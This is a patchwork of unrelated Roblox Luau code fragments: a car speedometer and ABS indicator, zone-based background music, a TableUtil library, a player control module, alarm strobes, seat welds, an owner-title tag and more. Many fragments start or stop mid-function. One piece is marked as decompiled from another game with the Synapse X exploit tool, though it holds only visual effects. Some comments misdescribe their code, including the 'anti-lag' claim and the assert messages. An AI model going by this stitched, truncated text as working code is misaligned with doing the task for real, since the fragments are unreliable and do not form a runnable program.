wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units inspd.Rotation = -90 + (270 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
--now, get to playing the music
local FadeoutTime = settings.MusicFadeoutTime function PlaySound(sounddata) if sounddata == nil then return end local sound = Instance.new("Sound") sound.Looped = true sound.SoundId = sounddata.SoundId sound.Volume = musicon and sounddata.Volume or 0 local v = Instance.new("NumberValue",sound) v.Name = "OriginalVolume" v.Value = sounddata.Volume sound.Pitch = sounddata.Pitch sound.Name = "BGM" sound.Parent = script wait(15) sound:Play() end function FadeOutSound(sound) local basevol = sound.Volume local count = math.ceil(30*FadeoutTime) if count < 1 then count = 1 end for i=1,count do if sound then sound.Volume = sound.Volume - (basevol / count) wait(1/30) end end if sound then sound:Stop() sound:Destroy() end end if settings.UseGlobalBackgroundMusic == true and settings.UseMusicZones == false then if #music[globali] == 1 then --global BGM with just 1 song? ez pz PlaySound(music[1][1]) return elseif #music[globali] == 0 then --there's no music to play...? return end end local recentindices = {} --keeps track of recently selected indicies, so as not to play repeat music tracks math.randomseed(tick()) local currentzone local zoneplayingmusic function CheckIfRecent(i) for _,v in pairs(recentindices) do if v == i then return true end end return false end function SelectRandomMusic(musiclist) --select a random number, excluding ones that were already used recently if musiclist == nil or #musiclist == 0 then return end local possiblenumbers = {} local selectedindex for i=1,#musiclist do if not CheckIfRecent(i) then table.insert(possiblenumbers,i) end end local selectedindex = possiblenumbers[math.random(1,#possiblenumbers)] table.insert(recentindices,selectedindex) if #recentindices > math.ceil(#musiclist / 2) then table.remove(recentindices,1) end return musiclist[selectedindex] end function IsInZone(zonedata) if torso and torso.Parent ~= nil then local p = torso.Position for _,data in pairs(zonedata["Parts"]) do if data["Coordinates"] then local t = data["Coordinates"] if (p.x > t.lx and p.x < t.mx and p.y > t.ly and p.y < t.my and p.z > t.lz and p.z < t.mz) then --is the character within all the coordinates of the zone? return true end elseif data["Part"] then --complex part? create a clone of the part and check if it's touching the character's torso local part = data["Part"]:clone() part.Anchored = true part.Parent = workspace.CurrentCamera or workspace part.CanCollide = true local touching = part:GetTouchingParts() part:Destroy() for _,v in pairs(touching) do if v == torso then return true end end end end return false end end function CalculateCurrentZone() local priority = -math.huge local oldzone = currentzone local selectedzone if currentzone then if IsInZone(currentzone) then selectedzone = currentzone priority = currentzone["Priority"] end end for _,zone in pairs(zones) do if zone["Priority"] > priority and IsInZone(zone) then priority = zone["Priority"] selectedzone = zone end end currentzone = selectedzone if currentzone ~= oldzone and (currentzone ~= nil or settings.UseGlobalBackgroundMusic == true) then recentindices = {} end return currentzone,oldzone end function RunCycle() --the main cycle which will continuously run, checking which zones (if any) the character is in and playing new music when necessary local bgm = script:FindFirstChild("BGM") if settings.UseMusicZones == true then local zone,oldzone = CalculateCurrentZone() if zone ~= oldzone and zone ~= zoneplayingmusic and bgm then if (zone == nil and (settings.UseGlobalBackgroundMusic == true or settings.MusicOnlyPlaysWithinZones == true)) or zone ~= nil then FadeOutSound(bgm) return end elseif zone and bgm == nil then PlaySound(SelectRandomMusic(zone["Music"])) zoneplayingmusic = zone return elseif zone == nil and oldzone and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then PlaySound(SelectRandomMusic(oldzone["Music"])) zoneplayingmusic = oldzone return elseif zoneplayingmusic and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then PlaySound(SelectRandomMusic(zoneplayingmusic["Music"])) return elseif settings.UseGlobalBackgroundMusic == true and bgm == nil then PlaySound(SelectRandomMusic(music[globali])) zoneplayingmusic = nil return end elseif bgm == nil and settings.UseGlobalBackgroundMusic == true then PlaySound(SelectRandomMusic(music[globali])) return end if bgm and (settings.UseGlobalBackgroundMusic == true and zoneplayingmusic == nil and #music[globali] > 1) or (zoneplayingmusic and #zoneplayingmusic["Music"] > 1) then local length = bgm.TimeLength local pos = bgm.TimePosition if length ~= 0 and length - pos < FadeoutTime + .5 then FadeOutSound(bgm) end end end while wait(.5) do RunCycle() end
--mute button stuff
local canmute = settings.DisplayMuteButton local clonegui if canmute then clonegui = script.MuteButtonGui:clone() end script.MuteButtonGui:Destroy() local musicon = true function SetButtonStyle(button) button.Text = "Music: ".. (musicon and "ON" or "OFF") button.Style = musicon and Enum.ButtonStyle.RobloxRoundDefaultButton or Enum.ButtonStyle.RobloxRoundDropdownButton button.TextColor3 = musicon and Color3.new(1,1,1) or Color3.new(.2,.2,.23) end function CreateButton() local gui = clonegui:clone() local button = gui.Button button.Visible = true SetButtonStyle(button) button.MouseButton1Click:connect(function() musicon = not musicon local bgm = script:FindFirstChild("BGM") if bgm then bgm.Volume = musicon and bgm.OriginalVolume.Value or 0 end SetButtonStyle(button) end) gui.Parent = plr:WaitForChild("PlayerGui") end function CharInit() char = plr.Character torso = char:WaitForChild("HumanoidRootPart") if canmute then CreateButton() end end if plr.Character and plr.Character.Parent ~= nil then CharInit() end plr.CharacterAdded:connect(function() CharInit() end)
-- Signal:Fire(...) implemented by running the handler functions on the -- coRunnerThread, and any time the resulting thread yielded without returning -- to us, that means that it yielded to the Roblox scheduler and has been taken -- over by Roblox scheduling, meaning we have to make a new coroutine runner.
function Signal.Fire(self: ClassType, ...: any?) local item = self._handlerListHead while item do if item._connected then if not freeRunnerThread then freeRunnerThread = coroutine.create(runEventHandlerInFreeThread) end task.spawn(freeRunnerThread :: thread, item._fn, ...) end item = item._next end end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__ReplicatedStorage__2 = game.ReplicatedStorage; local v3 = require(game.ReplicatedStorage.Modules.Lightning); local v4 = require(game.ReplicatedStorage.Modules.Xeno); local l__TweenService__5 = game.TweenService; local l__Debris__6 = game.Debris; local u1 = require(game.ReplicatedStorage.Modules.CameraShaker); function v1.RunStompFx(p1, p2, p3, p4) local v7 = game.ReplicatedStorage.KillFX.Tonka.Bell:Clone(); v7:PivotTo(CFrame.new(p2.Position)); wait(2); v7.VFX.Sound:Play(); v7.Parent = workspace.Ignored.Animations; local v8 = v7.AnimationController:LoadAnimation(v7.Animation); v8:Play(0.1, 1, 1); local u2 = nil; u2 = v8:GetMarkerReachedSignal("Spawn"):Connect(function() task.delay(0.45, function() v7.VFX.Attachment.Glow.Enabled = true; local u3 = 0; local u4 = nil; u4 = v8:GetMarkerReachedSignal("Ring"):Connect(function() u3 = u3 + 1; for v9 = 1, 8 do local v10 = game.ReplicatedStorage.KillFX.Tonka.ColorCorrection:Clone(); v10.Parent = game.Lighting; game.TweenService:Create(v10, TweenInfo.new(1), { TintColor = Color3.fromRGB(255, 255, 255), Brightness = 0, Contrast = 0, Saturation = 0 }):Play(); game.Debris:AddItem(v10, 1); end; local v11 = u1.new(Enum.RenderPriority.Camera.Value, function(p5) workspace.CurrentCamera.CFrame = workspace.CurrentCamera.CFrame * p5; end); v11:Start(); v11:Shake(u1.Presets.Bump); local v12 = v7.VFX.Attachment:Clone(); v12.Parent = workspace.Terrain; v12.WorldPosition = (v7.RootPart.Chain.Bell.DingDong.TransformedWorldCFrame * CFrame.new(0, 6, 0)).Position; game.Debris:AddItem(v12, 2); v12.ParticleEmitter.Enabled = true; task.delay(0.25, function() v12.ParticleEmitter.Enabled = false; end); v7.VFX.Sound.Volume = 2; task.delay(0.25, function() v7.VFX.Sound.Volume = 1; end); if u3 == 3 then return; end; if u3 == 5 then v7.VFX.Attachment.Glow.Enabled = false; game.TweenService:Create(v7.VFX.Sound, TweenInfo.new(2, Enum.EasingStyle.Exponential), { Volume = 0 }):Play(); for v13, v14 in pairs(v7:GetDescendants()) do if v14:IsA("MeshPart") then game.TweenService:Create(v14, TweenInfo.new(2, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut), { Transparency = 1, Reflectance = 0 }):Play(); elseif v14:IsA("Beam") then game.TweenService:Create(v14, TweenInfo.new(3, Enum.EasingStyle.Exponential), { Width1 = 0, Width0 = 0 }):Play(); end; end; u4:Disconnect(); end; end); u2:Disconnect(); for v15, v16 in pairs(v7:GetDescendants()) do if v16:IsA("MeshPart") then game.TweenService:Create(v16, TweenInfo.new(2, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut), { Transparency = 0 }):Play(); elseif v16:IsA("Beam") then game.TweenService:Create(v16, TweenInfo.new(3, Enum.EasingStyle.Exponential), { Width1 = 50, Width0 = 50 }):Play(); end; end; local u5 = nil; local u6 = 0; u5 = game["Run Service"].RenderStepped:Connect(function() if v7.Parent == nil then u5:Disconnect(); else v7.VFX.CFrame = v7.RootPart.Chain.Bell.TransformedWorldCFrame * CFrame.new(0, 10, 0) * CFrame.Angles(math.rad(u6), 0, math.rad(u6)); v7.VFX1.CFrame = v7.RootPart.Chain.Bell.TransformedWorldCFrame * CFrame.new(0, 10, 0) * CFrame.Angles(math.rad(-u6), math.rad(-u6), 0); end; u6 = u6 + 2.5; end); end); end); return nil; end; return v1;
--[[ TableUtil.Copy(Table tbl) TableUtil.Sync(Table tbl, Table templateTbl) TableUtil.Print(Table tbl, String label, Boolean deepPrint) TableUtil.FastRemove(Table tbl, Number index) TableUtil.FastRemoveFirstValue(Table tbl, Variant value) TableUtil.Map(Table tbl, Function callback) TableUtil.Filter(Table tbl, Function callback) TableUtil.Reduce(Table tbl, Function callback [, Number initialValue]) TableUtil.IndexOf(Table tbl, Variant item) TableUtil.Reverse(Table tbl) TableUtil.Shuffle(Table tbl) TableUtil.IsEmpty(Table tbl) TableUtil.EncodeJSON(Table tbl) TableUtil.DecodeJSON(String json) EXAMPLES: Copy: Performs a deep copy of the given table. local tbl = {"a", "b", "c"} local tblCopy = TableUtil.Copy(tbl) Sync: Synchronizes a table to a template table. If the table does not have an item that exists within the template, it gets added. If the table has something that the template does not have, it gets removed. local tbl1 = {kills = 0; deaths = 0; points = 0} local tbl2 = {points = 0} TableUtil.Sync(tbl2, tbl1) -- In words: "Synchronize table2 to table1" print(tbl2.deaths) Print: Prints out the table to the output in an easy-to-read format. Good for debugging tables. If deep printing, avoid cyclical references. local tbl = {a = 32; b = 64; c = 128; d = {x = 0; y = 1; z = 2}} TableUtil.Print(tbl, "My Table", true) FastRemove: Removes an item from an array at a given index. Only use this if you do NOT care about the order of your array. This works by simply popping the last item in the array and overwriting the given index with the last item. This is O(1), compared to table.remove's O(n) speed. local tbl = {"hello", "there", "this", "is", "a", "test"} TableUtil.FastRemove(tbl, 2) -- Remove "there" in the array print(table.concat(tbl, " ")) -- > hello this is a test FastRemoveFirstValue: Calls FastRemove on the first index that holds the given value. local tbl = {"abc", "hello", "hi", "goodbye", "hello", "hey"} local removed, atIndex = TableUtil.FastRemoveFirstValue(tbl, "hello") if (removed) then print("Removed at index " .. atIndex) print(table.concat(tbl, " ")) -- > abc hi goodbye hello hey else print("Did not find value") end Map: This allows you to construct a new table by calling the given function on each item in the table. local peopleData = { {firstName = "Bob"; lastName = "Smith"}; {firstName = "John"; lastName = "Doe"}; {firstName = "Jane"; lastName = "Doe"}; } local people = TableUtil.Map(peopleData, function(item) return {Name = item.firstName .. " " .. item.lastName} end) -- 'people' is now an array that looks like: { {Name = "Bob Smith"}; ... } Filter: This allows you to create a table based on the given table and a filter function. If the function returns 'true', the item remains in the new table; if the function returns 'false', the item is discluded from the new table. local people = { {Name = "Bob Smith"; Age = 42}; {Name = "John Doe"; Age = 34}; {Name = "Jane Doe"; Age = 37}; } local peopleUnderForty = TableUtil.Filter(people, function(item) return item.Age < 40 end) Reduce: This allows you to reduce an array to a single value. Useful for quickly summing up an array. local tbl = {40, 32, 9, 5, 44} local tblSum = TableUtil.Reduce(tbl, function(accumulator, value) return accumulator + value end) print(tblSum) -- > 130 IndexOf: Returns the index of the given item in the table. If not found, this will return nil. local tbl = {"Hello", 32, true, "abc"} local abcIndex = TableUtil.IndexOf("abc") -- > 4 local helloIndex = TableUtil.IndexOf("Hello") -- > 1 local numberIndex = TableUtil.IndexOf(64) -- > nil Reverse: Creates a reversed version of the array. Note: This is a shallow copy, so existing references will remain within the new table. local tbl = {2, 4, 6, 8} local rblReversed = TableUtil.Reverse(tbl) -- > {8, 6, 4, 2} Shuffle: Shuffles (i.e. randomizes) an array. This uses the Fisher-Yates algorithm. local tbl = {1, 2, 3, 4, 5, 6, 7, 8, 9} TableUtil.Shuffle(tbl) print(table.concat(tbl, ", ")) -- e.g. > 3, 6, 9, 2, 8, 4, 1, 7, 5 --]]
local TableUtil = {} local http = game:GetService("HttpService") local function CopyTable(t) assert(type(t) == "table", "First argument must be a table") local tCopy = {} for k,v in pairs(t) do if (type(v) == "table") then tCopy[k] = CopyTable(v) else tCopy[k] = v end end return tCopy end local function Sync(tbl, templateTbl) assert(type(tbl) == "table", "First argument must be a table") assert(type(templateTbl) == "table", "Second argument must be a table") -- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl' -- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl' -- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl' for k,v in pairs(tbl) do local vTemplate = templateTbl[k] -- Remove keys not within template: if (vTemplate == nil) then tbl[k] = nil -- Synchronize data types: elseif (type(v) ~= type(vTemplate)) then if (type(vTemplate) == "table") then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end -- Synchronize sub-tables: elseif (type(v) == "table") then Sync(v, vTemplate) end end -- Add any missing keys: for k,vTemplate in pairs(templateTbl) do local v = tbl[k] if (v == nil) then if (type(vTemplate) == "table") then tbl[k] = CopyTable(vTemplate) else tbl[k] = vTemplate end end end end local function FastRemove(t, i) local n = #t t[i] = t[n] t[n] = nil end local function Map(t, f) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") local newT = {} for k,v in pairs(t) do newT[k] = f(v, k, t) end return newT end local function Filter(t, f) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") local newT = {} if (#t > 0) then local n = 0 for i = 1,#t do local v = t[i] if (f(v, i, t)) then n = (n + 1) newT[n] = v end end else for k,v in pairs(t) do if (f(v, k, t)) then newT[k] = v end end end return newT end local function Reduce(t, f, init) assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be an array") assert(init == nil or type(init) == "number", "Third argument must be a number or nil") local result = (init or 0) for k,v in pairs(t) do result = f(result, v, k, t) end return result end local function Print(tbl, label, deepPrint) assert(type(tbl) == "table", "First argument must be a table") assert(label == nil or type(label) == "string", "Second argument must be a string or nil") label = (label or "TABLE") local strTbl = {} local indent = " - " -- Insert(string, indentLevel) local function Insert(s, l) strTbl[#strTbl + 1] = (indent:rep(l) .. s .. "\n") end local function AlphaKeySort(a, b) return (tostring(a.k) < tostring(b.k)) end local function PrintTable(t, lvl, lbl) Insert(lbl .. ":", lvl - 1) local nonTbls = {} local tbls = {} local keySpaces = 0 for k,v in pairs(t) do if (type(v) == "table") then table.insert(tbls, {k = k, v = v}) else table.insert(nonTbls, {k = k, v = "[" .. typeof(v) .. "] " .. tostring(v)}) end local spaces = #tostring(k) + 1 if (spaces > keySpaces) then keySpaces = spaces end end table.sort(nonTbls, AlphaKeySort) table.sort(tbls, AlphaKeySort) for _,v in pairs(nonTbls) do Insert(tostring(v.k) .. ":" .. (" "):rep(keySpaces - #tostring(v.k)) .. v.v, lvl) end if (deepPrint) then for _,v in pairs(tbls) do PrintTable(v.v, lvl + 1, tostring(v.k) .. (" "):rep(keySpaces - #tostring(v.k)) .. " [Table]") end else for _,v in pairs(tbls) do Insert(tostring(v.k) .. ":" .. (" "):rep(keySpaces - #tostring(v.k)) .. "[Table]", lvl) end end end PrintTable(tbl, 1, label) print(table.concat(strTbl, "")) end local function IndexOf(tbl, item) for i = 1,#tbl do if (tbl[i] == item) then return i end end return nil end local function Reverse(tbl) local tblRev = {} local n = #tbl for i = 1,n do tblRev[i] = tbl[n - i + 1] end return tblRev end local function Shuffle(tbl) assert(type(tbl) == "table", "First argument must be a table") for i = #tbl, 2, -1 do local j = math.random(i) tbl[i], tbl[j] = tbl[j], tbl[i] end end local function IsEmpty(tbl) return (next(tbl) == nil) end local function EncodeJSON(tbl) return http:JSONEncode(tbl) end local function DecodeJSON(str) return http:JSONDecode(str) end local function FastRemoveFirstValue(t, v) local index = IndexOf(t, v) if (index) then FastRemove(t, index) return true, index end return false, nil end TableUtil.Copy = CopyTable TableUtil.Sync = Sync TableUtil.FastRemove = FastRemove TableUtil.FastRemoveFirstValue = FastRemoveFirstValue TableUtil.Print = Print TableUtil.Map = Map TableUtil.Filter = Filter TableUtil.Reduce = Reduce TableUtil.IndexOf = IndexOf TableUtil.Reverse = Reverse TableUtil.Shuffle = Shuffle TableUtil.IsEmpty = IsEmpty TableUtil.EncodeJSON = EncodeJSON TableUtil.DecodeJSON = DecodeJSON return TableUtil
-- Keyboard controller is really keyboard and mouse controller
local computerInputTypeToModuleMap = { [Enum.UserInputType.Keyboard] = Keyboard, [Enum.UserInputType.MouseButton1] = Keyboard, [Enum.UserInputType.MouseButton2] = Keyboard, [Enum.UserInputType.MouseButton3] = Keyboard, [Enum.UserInputType.MouseWheel] = Keyboard, [Enum.UserInputType.MouseMovement] = Keyboard, [Enum.UserInputType.Gamepad1] = Gamepad, [Enum.UserInputType.Gamepad2] = Gamepad, [Enum.UserInputType.Gamepad3] = Gamepad, [Enum.UserInputType.Gamepad4] = Gamepad, } local lastInputType function ControlModule.new() local self = setmetatable({},ControlModule) -- The Modules above are used to construct controller instances as-needed, and this -- table is a map from Module to the instance created from it self.controllers = {} self.activeControlModule = nil -- Used to prevent unnecessarily expensive checks on each input event self.activeController = nil self.touchJumpController = nil self.moveFunction = Players.LocalPlayer.Move self.humanoid = nil self.lastInputType = Enum.UserInputType.None -- For Roblox self.vehicleController self.humanoidSeatedConn = nil self.vehicleController = nil self.touchControlFrame = nil self.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY) Players.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) Players.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char) end) if Players.LocalPlayer.Character then self:OnCharacterAdded(Players.LocalPlayer.Character) end RunService:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(dt) self:OnRenderStepped(dt) end) UserInputService.LastInputTypeChanged:Connect(function(newLastInputType) self:OnLastInputTypeChanged(newLastInputType) end) UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end) Players.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end) UserGameSettings:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end) Players.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end) --[[ Touch Device UI ]]-- self.playerGui = nil self.touchGui = nil self.playerGuiAddedConn = nil if UserInputService.TouchEnabled then self.playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui") if self.playerGui then self:CreateTouchGuiContainer() self:OnLastInputTypeChanged(UserInputService:GetLastInputType()) else self.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child) if child:IsA("PlayerGui") then self.playerGui = child self:CreateTouchGuiContainer() self.playerGuiAddedConn:Disconnect() self.playerGuiAddedConn = nil self:OnLastInputTypeChanged(UserInputService:GetLastInputType()) end end) end else self:OnLastInputTypeChanged(UserInputService:GetLastInputType()) end return self end
-- When key released
function onKeyUp(key) if key == nil then return end key = key:lower() -- Stop firing MG if key == 'f' then firingMg = false; end end script.Parent.Equipped:connect(onSelected) script.Parent.Unequipped:connect(onDeselected)
-- Initialize the core
local Core = require(Tool:WaitForChild 'Core');
-- True ...... Synchronized -- False ..... Free Run
val2 = script.Parent.Parent.Parent.Parent.VisualCircuit strobe = script.Parent.Parent.Strobe salarm = false if candela == 0 then strobe.Flasher.Size = UDim2.new(2,0,3,0) elseif candela == 1 then strobe.Flasher.Size = UDim2.new(3,0,4,0) elseif candela == 2 then strobe.Flasher.Size = UDim2.new(4,0,5,0) elseif candela == 3 then strobe.Flasher.Size = UDim2.new(5.5,0,6.5,0) end function Flash() strobe.BrickColor = BrickColor.new(1001) strobe.Flasher.Strobe.Visible = true strobe.Light.Enabled = true wait(0.06) strobe.BrickColor = BrickColor.new(194) strobe.Flasher.Strobe.Visible = false strobe.Light.Enabled = false end sval = math.random(85,95)/100 function PowerStrobe() if salarm then return end salarm = true wait(sval) while val2.Value == 1 do Flash() wait(sval) end salarm = false end if strobesync then val2.Changed:connect(function() if val2.Value == 1 then Flash() end end) else val2.Changed:connect(function() if val2.Value == 1 then PowerStrobe() end end) end
-- canonicalize an angle to +-180 degrees
function CameraUtils.sanitizeAngle(a) return (a + math.pi)%(2*math.pi) - math.pi end
-- For AwardBadge
function module.applyBadgeFunction(badgeId: number, func: badgeFunction): boolean? if Functions.badges[badgeId] then return true end local success, errorMessage, badgeInfo success, errorMessage = pcall(function() badgeInfo = BadgeService:GetBadgeInfoAsync(badgeId) end) assert(badgeInfo, `BadgeService error: {errorMessage}`) if not badgeInfo.IsEnabled then return nil end Functions.badges[badgeId] = func return true end
--[[ Creates a new EmoteManager which handles adding emotes to each player's HumanoidDescription and keeping those emotes up to date when anything changes. Returns: An EmoteManager instance ]]
function EmoteManager.new() local self = { playerOwnedEmotes = {}, playerEmoteConfig = {}, MarketplaceService = game:GetService("MarketplaceService"), updatedPlayerEmotes = Instance.new("BindableEvent"), remotes = { sendUpdatedEmotes = sendUpdatedEmotes }, } setmetatable(self, EmoteManager) return self end
--------------------------- --Seat Offset (Make copies of this block for passenger seats)
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end)
--//seats
local hd = Instance.new("Motor", script.Parent.Parent.Misc.HD.SS) hd.MaxVelocity = 0.03 hd.Part0 = script.Parent.HD hd.Part1 = hd.Parent fl.MaxVelocity = 0.03 fl.Part0 = script.Parent.FL fl.Part1 = fl.Parent fr.MaxVelocity = 0.03 fr.Part0 = script.Parent.FR fr.Part1 = fr.Parent
--This will apply your settings to the player. Don't change what's below.
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(char) if defaultOwnerOverride == false then print("Default Owner Override is not active. The Owner Title will automatically be given to the place's owner. Change the setting in the READ ME script if you wish to toggle this.") if game.CreatorType == Enum.CreatorType.User then playername = game.Players:GetNameFromUserIdAsync(game.CreatorId) else local groupOwnerName = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Name playername = groupOwnerName end else print("Default Owner Override is active. The Owner Title will be given to the name specified in the READ ME script inside of the Owner TItle by bendarobloxian model. Change the setting in the READ ME script if you wish to toggle this.") end if player.Name == playername then local newgui = billboard:Clone() newgui.Parent = char.Head local txtColor if dynamicRainbow == true then txtColor = Color3.new(1,1,1) newgui.TextLabel.dynamicRainbow.Disabled = false elseif stillRainbow == true then txtColor = Color3.new(1,1,1) local newGrad = script.UIGradient:Clone() newGrad.Parent = newgui.TextLabel else txtColor = Color3.fromRGB(redV, greenV, blueV) end newgui.TextLabel.TextColor3 = txtColor newgui.TextLabel.Text = text end end) end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 1 -- cooldown for use of the tool again ZoneModelName = "Homing axe" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- DO NOT EDIT ANYTHING HERE (unless you are willing to risk the plane breaking)
wait(0.1) -- Yes, this is needed. If it's not here, the plane will only work once.
--WRITE YOUR ABILITIES HERE--
hum.WalkSpeed = 50
--[[ Creating a command module: 1) Create a new module inside the CommandModules folder. 2) Create a function that takes a message, the ChatWindow object and the ChatSettings and returns a bool command processed. 3) Return this function from the module. --]]
local clientChatModules = script.Parent.Parent local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local COMMAND_MODULES_VERSION = 1 local KEY_COMMAND_PROCESSOR_TYPE = "ProcessorType" local KEY_PROCESSOR_FUNCTION = "ProcessorFunction"
--script.Parent.ChargeCircle.Enabled = true --script.Parent.ChargeCircle2.Enabled = true
script.Parent.ring.Enabled = true script.Parent.Activate2.Enabled = true script.Parent.Attachment.Flare.Enabled = true shock = Instance.new("Part") shock.CanCollide = false shock.Anchored = true shock.Rotation=Vector3.new(90,0,90) shock.Name = "SHOCKWAVE" shock.Transparency = 0.2 shock.BrickColor = BrickColor.new("New Yeller") shock.formFactor = "Custom" shock.TopSurface = 0 shock.BottomSurface = 0 shock.Material = "Neon" shock.CastShadow = false script.Mesh0:clone().Parent = shock local erase0 = script.Fade0:clone() erase0.Parent = shock erase0.Disabled = false shock.Parent = game.Workspace shock.Position=script.Parent.Position puff = Instance.new("Part") script.Parent.Anchored=true puff.CanCollide = false puff.Anchored = true puff.Name = "hi lol" puff.Transparency = 0.2 puff.BrickColor = BrickColor.new("Lily white") puff.formFactor = "Custom" puff.TopSurface = 0 puff.BottomSurface = 0 puff.Size = Vector3.new(3,3,3) puff.Material = Enum.Material.Neon puff.CastShadow = false script.Mesh:clone().Parent = puff local erase = script.FadeEx:clone() erase.Parent = puff erase.Disabled = false puff.Parent = game.Workspace puff.Position = script.Parent.Position puff.CastShadow = false
-- Tables
local function CopyTable(T) local t2 = {} for k,v in pairs(T) do t2[k] = v end return t2 end local function SortTable(T) table.sort(T, function(x,y) return x.Name < y.Name end) end
--[[ Encapsulates logic to apply art onto a single spot owned by the user. Parameters: - spotId (string): ID of spot to apply art to - artId (string): art ID to apply for the spot ]]
function PlayerSpots:applyArt(player, spotId, artId) local placedSpot = nil for _, value in ipairs(self.placedSpots) do if value.spot.id == spotId then placedSpot = value break end end if not placedSpot then return false, constants.Errors.SpotNotFound end -- Remove old art if self.toRemove then local placedSpotToRemove = self.placedSpots[self.toRemove] placedSpotToRemove.spot:removeArt() self.toRemove = nil end placedSpot.spot:applyArt(player, artId) return true, nil end
--- Sets whether or not the console is enabled
function Cmdr:SetEnabled (enabled) if self.Interface == nil then self.Interface = Interface end self.Enabled = enabled end
--//Created by PlaasBoer --Version 3.2.0 --If you find a bug comment on my video for Zed's tycoon save --Link to my channel --[[ https://www.youtube.com/channel/UCHIypUw5-7noRfLJjczdsqw ]]
-- local tycoonsFolder = script.Parent:WaitForChild("Tycoons") local tycoons = tycoonsFolder:GetChildren()
--THX for using my good Anti-Lag script! Garunteed to work unless your place has SUPER lag!
mx = game.Debris mx2 = game.Debris.MaxItems --This lets the script find out how much debris there is. if (mx.MaxItems > 50000) then mx.MaxItems = mx2*.75 --This makes it delete the debris every 100 items.
-- Load the near-field character transparency controller and the mouse lock "shift lock" controller
local TransparencyController = require(script:WaitForChild("TransparencyController")) local MouseLockController = require(script:WaitForChild("MouseLockController"))
